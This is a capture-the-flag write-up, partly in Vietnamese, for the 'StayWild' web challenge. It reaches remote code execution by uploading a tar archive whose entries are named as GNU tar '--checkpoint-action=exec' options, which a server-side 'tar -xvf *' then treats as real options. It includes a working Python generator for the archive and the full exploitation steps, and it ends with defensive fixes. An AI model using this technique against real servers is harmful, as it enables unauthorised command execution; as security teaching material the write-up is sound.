StayWild#

TL;DR / Attack Chain#

1
[Hidden /staging Archive Upload]
2
       │ (robots.txt hint)
3
       ▼
4
[Disabled UI but Real /additional/:id Endpoint]
5
       │ (chỉ bị disabled phía client)
6
       ▼
7
[Additional Tar Extracts Unchecked Filenames]
8
       │ (có thể tạo file bắt đầu bằng --)
9
       ▼
10
[Server Runs tar -xvf archive.tar *]
11
       │ (shell expand * thành filename do attacker kiểm soát)
12
       ▼
13
[GNU tar Checkpoint Option Injection] ──► RCE ──► Read flag

Background: Wildcard Characters in Shell#

Trong Unix shell, ký tự * sẽ được shell expand thành danh sách file trong thư mục hiện tại.

Ví dụ, nếu thư mục có:

1
a.txt
2
b.txt
3
c.txt

Thì lệnh:

1
echo *

sẽ tương đương với:

1
echo a.txt b.txt c.txt

Điểm nguy hiểm nằm ở chỗ command phía sau có thể coi các filename này như argument. Nếu attacker tạo được file có tên bắt đầu bằng --, shell vẫn expand bình thường, và chương trình có thể hiểu filename đó là option.

GNU tar Wildcard Injection#

GNU tar hỗ trợ checkpoint action:

1
--checkpoint=N
2
--checkpoint-action=exec=CMD

Nếu attacker tạo được các file có tên:

1
rce.sh
2
--checkpoint=1
3
--checkpoint-action=exec=sh<rce.sh

và server chạy command có glob * trong cùng thư mục:

1
tar -xvf archive.tar *

shell sẽ expand thành dạng:

1
tar -xvf archive.tar --checkpoint=1 --checkpoint-action=exec=sh<rce.sh rce.sh ...

Lúc này tar không còn xem các chuỗi --checkpoint... là filename nữa, mà xem chúng là option thật. Kết quả là command trong rce.sh được thực thi.

Finding the Hidden Feature#

Kiểm tra /robots.txt thấy hint:

1
User-agent: *
2
# Field archive tooling is not ready for public indexing.

Hint này dẫn tới chức năng ẩn liên quan đến archive. Sau khi fuzz endpoint, tìm được trang /staging, là interface upload file .tar.

Trong source của trang có form upload bổ sung:

1
<form
2
  action="/additional/1784490535624"
3
  method="POST"
4
  enctype="multipart/form-data"
5
>
6
  <input
7
    data-beta-upload
8
    class="is-disabled"
9
    type="file"
10
    name="file"
11
    id="files_1784490535624"
12
    multiple
13
    hidden
14
    disabled
15
    onchange="this.form.submit()"
16
  />
17
  <button
18
    data-beta-upload
19
    class="is-disabled"
20
    type="button"
21
    disabled
22
    onclick="document.getElementById('files_1784490535624').click()"
23
  >
24
    Upload additional files
25
    <span class="soon">Soon feature</span>
26
  </button>
27
</form>

UI hiển thị nút upload bị disabled, nhưng đây chỉ là kiểm soát phía client. Endpoint /additional/:id vẫn tồn tại và có thể POST trực tiếp.

Understanding Server Behavior#

Ban đầu mình thử hướng symlink attack, ví dụ đặt symlink trong tar trỏ tới /etc/passwd hoặc file nhạy cảm. Tuy nhiên ứng dụng không có chức năng download file, nên không có cách đọc lại nội dung symlink. Vì vậy hướng này bị loại.

Để hiểu cách server xử lý, upload:

• abc.tar làm initial archive, gồm các file aaa, bbb, ccc
• def.tar qua additional endpoint, gồm các file ddd, eee, fff

Response trả về:

1
[extraction 1] initial archive pass
2
aaa
3
bbb
4
ccc
5

6
[extraction 2] additional extraction pass
7
aaa
8
bbb
9
ccc
10
tar: abc.tar: Not found in archive
11
tar: def.tar: Not found in archive
12
tar: Exiting with failure status due to previous errors
13

14
[additional archive: def.tar]
15
ddd
16
eee
17
fff

Phần [extraction 2] rất quan trọng. Nó liệt kê các file đang có trong workspace và tar cố gắng tìm abc.tar, def.tar như archive members.

Điều này gần như xác nhận server đang chạy command dạng:

1
tar -xvf abc.tar *

Trong đó * được shell expand thành toàn bộ filename trong workspace trước khi tar nhận lệnh.

Failed Initial Payload#

Payload RCE được đóng gói vào exp.tar với các entry đặc biệt:

1
import io
2
import tarfile
3

4
output_file = "exp.tar"
5

6
script_content = "cat /opt/wild/.cache/seed-574"
7

8
files = {
9
    "rce.sh": script_content.encode(),
10
    "--checkpoint=1": b"",
11
    "--checkpoint-action=exec=sh<rce.sh": b"",
12
}
13

14
with tarfile.open(output_file, "w") as tar:
15
    for filename, content in files.items():
16
        info = tarfile.TarInfo(filename)
17
        info.size = len(content)
18
        info.mode = 0o644
19
        tar.addfile(info, io.BytesIO(content))
20

21
print(f"Created: {output_file}")

Thử upload exp.tar làm initial archive thì bị chặn:

1
The initial archive contains a blocked filename.

Lý do là initial upload có validate tar entry và chặn path component bắt đầu bằng -.

Bypass via Additional Upload#

Bypass nằm ở endpoint additional.

Initial upload kiểm tra nội dung bên trong tar, nhưng additional upload chỉ kiểm tra tên file upload bên ngoài. Nếu file upload tên là exp.tar, nó không chứa keyword bị chặn nên được chấp nhận.

Attack flow:

1. Upload abc.tar bình thường làm initial archive.
2. Upload exp.tar vào /additional/:id.
3. Server extract exp.tar, làm xuất hiện các file:

1
rce.sh
2
--checkpoint=1
3
--checkpoint-action=exec=sh<rce.sh

4. Upload thêm một archive bất kỳ, ví dụ def.tar, để trigger lại additional extraction pass.
5. Server chạy:

1
tar -xvf abc.tar *

6. Shell expand * ra các filename độc hại, và tar thực thi:

1
--checkpoint-action=exec=sh<rce.sh

Kết quả là RCE.

Final Payload Generator#

Script tạo exp.tar đọc flag:

1
import io
2
import tarfile
3

4
output_file = "exp.tar"
5
script_content = "cat /opt/wild/.cache/seed-574"
6

7
files = {
8
    "rce.sh": script_content.encode(),
9
    "--checkpoint=1": b"",
10
    "--checkpoint-action=exec=sh<rce.sh": b"",
11
}
12

13
with tarfile.open(output_file, "w") as tar:
14
    for filename, content in files.items():
15
        info = tarfile.TarInfo(filename)
16
        info.size = len(content)
17
        info.mode = 0o644
18
        tar.addfile(info, io.BytesIO(content))
19

20
print(f"Created: {output_file}")

Exploitation Steps#

1. Tạo archive bình thường abc.tar:

1
aaa
2
bbb
3
ccc

2. Upload abc.tar tại /staging.
3. Lấy endpoint additional từ source HTML, dạng:

1
/additional/<id>

4. POST trực tiếp exp.tar vào /additional/<id>.
5. POST tiếp một archive bất kỳ, ví dụ def.tar, để kích hoạt command tar -xvf abc.tar *.
6. Output trả về có dạng base64:

1
b21uaUNURnt3MWxkYzRyZHNfY2FuX2czdF93MWxkfQ==

Decode:

1
echo "b21uaUNURnt3MWxkYzRyZHNfY2FuX2czdF93MWxkfQ==" | base64 -d

Flag:

1
omniCTF{w1ldc4rds_can_g3t_w1ld}

Key Takeaways#

1. Wildcard expansion is dangerous with untrusted filenames.
   Chỉ cần attacker tạo được file bắt đầu bằng --, command có glob * có thể bị biến thành option injection.

2. Client-side disabled is not security.
   Nút upload bị disabled trong UI không có ý nghĩa bảo mật nếu endpoint server vẫn nhận request.

3. Validation must be consistent.
   Initial upload validate tar entries, nhưng additional upload lại không validate nội dung archive.

4. Shell commands amplify small mistakes.
   Lỗi nằm ở một ký tự *, nhưng vì command chạy qua shell nên tác động trở thành RCE.

Recommended Fixes#

• Không dùng shell để gọi tar; nên dùng spawn / execFile với argv array.
• Không append * trực tiếp vào shell command.
• Validate tất cả tar entries ở mọi upload flow, bao gồm initial và additional.
• Reject mọi path component bắt đầu bằng -.
• Extract archive trong thư mục riêng, mỗi request một workspace sạch.
• Chặn path traversal, symlink abuse và hardlink abuse khi extract.
• Dùng quyền user thấp nhất có thể cho process extract archive.
• Không đưa endpoint beta/disabled lên production nếu server-side chưa kiểm soát đầy đủ.